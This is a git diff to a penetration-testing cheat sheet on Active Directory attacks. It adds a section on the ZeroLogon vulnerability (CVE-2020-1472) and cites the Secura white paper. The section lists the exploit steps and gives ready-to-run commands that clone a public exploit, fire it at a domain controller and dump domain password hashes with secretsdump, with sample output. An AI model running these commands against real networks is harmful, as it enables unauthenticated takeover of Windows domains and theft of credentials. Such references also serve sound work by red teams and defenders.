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CVE-2020-1472 Unauthenticated domain controller compromise

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Swissky 2020-09-14 23:06:09 +02:00
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Methodology and Resources/Active Directory Attack.md
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@ -7,6 +7,7 @@
- [Tools](#tools)
- [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
- [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
- [CVE-2020-1472 ZeroLogon](#cve-2020-1472-zerologon)
- [Open Shares](#open-shares)
- [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
- [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
@ -270,6 +271,27 @@ Windows> net time /domain /set
* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
### CVE-2020-1472 ZeroLogon
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
Exploit steps from the white paper
1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password
5. From password change to domain admin
```powershell
$ git clone https://github.com/cube0x0/CVE-2020-1472
$ python3 CVE-2020-1472.py DC01 10.10.10.10
$ secretsdump.py 'domain/DC01$@DC01.domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:00000000000000000000000000000000:::
```
### Open Shares
@ -1749,3 +1771,4 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c5
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html)
* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020](https://www.secura.com/pathtoimg.php?id=2055)